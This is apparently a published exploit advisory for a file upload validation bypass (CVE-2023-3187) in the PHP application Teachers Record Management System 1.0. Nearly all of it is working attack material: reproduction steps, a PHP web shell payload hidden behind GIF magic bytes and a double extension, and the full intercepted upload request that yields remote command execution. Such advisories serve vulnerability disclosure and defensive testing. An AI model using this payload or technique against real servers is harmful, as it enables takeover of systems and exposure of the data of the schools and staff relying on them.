Teachers Record Management System 1.0 Validation Bypass

Exploit Title: Teachers Record Management System 1.0 – File Upload Type ValidationDate: 17-01-2023EXPLOIT-AUTHOR: AFFAN AHMEDVendor Homepage: <https://phpgurukul.com>Software Link: <https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/>Version: 1.0Tested on: Windows 11 + XAMPPCVE : CVE-2023-3187===============================STEPS_TO_REPRODUCE===============================1. Login into Teacher-Account with the credentials “Username: [email protected]”Password: Test@123”2. Navigate to Profile Section and edit the Profile Pic by clicking on Edit Image3. Open the Burp-suite and Intercept the Edit Image Request4. In POST Request Change the “ Filename “ from “ profile picture.png “ to “profile picture.php.gif ”5. Change the **Content-type from “ image/png “ to “ image/gif “6. And Add this **Payload** : `GIF89a <?php echo system($_REQUEST['dx']); ?>`7. Where **GIF89a is the GIF magic bytes this bypass the file upload extension**8. Below is the Burpsuite-POST Request for all the changes that I have made above==========================================BURPSUITE_REQUEST==========================================POST /trms/teacher/changeimage.php HTTP/1.1Host: localhostContent-Length: 442Cache-Control: max-age=0sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: <http://localhost>Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryndAPYa0GGOxSUHdFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: <http://localhost/trms/teacher/changeimage.php>Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8alf0rbfjmhm3ddra7si0cv7qcConnection: close------WebKitFormBoundaryndAPYa0GGOxSUHdFContent-Disposition: form-data; name="subjects"John Doe------WebKitFormBoundaryndAPYa0GGOxSUHdFContent-Disposition: form-data; name="newpic"; filename="profile picture.php.gif"Content-Type: image/gifGIF89a <?php echo system($_REQUEST['dx']); ?>------WebKitFormBoundaryndAPYa0GGOxSUHdFContent-Disposition: form-data; name="submit"------WebKitFormBoundaryndAPYa0GGOxSUHdF--===============================PROOF_OF_CONCEPT===============================GITHUB_LINK: https://github.com/ctflearner/Vulnerability/blob/main/Teacher_Record_Management_System/trms.md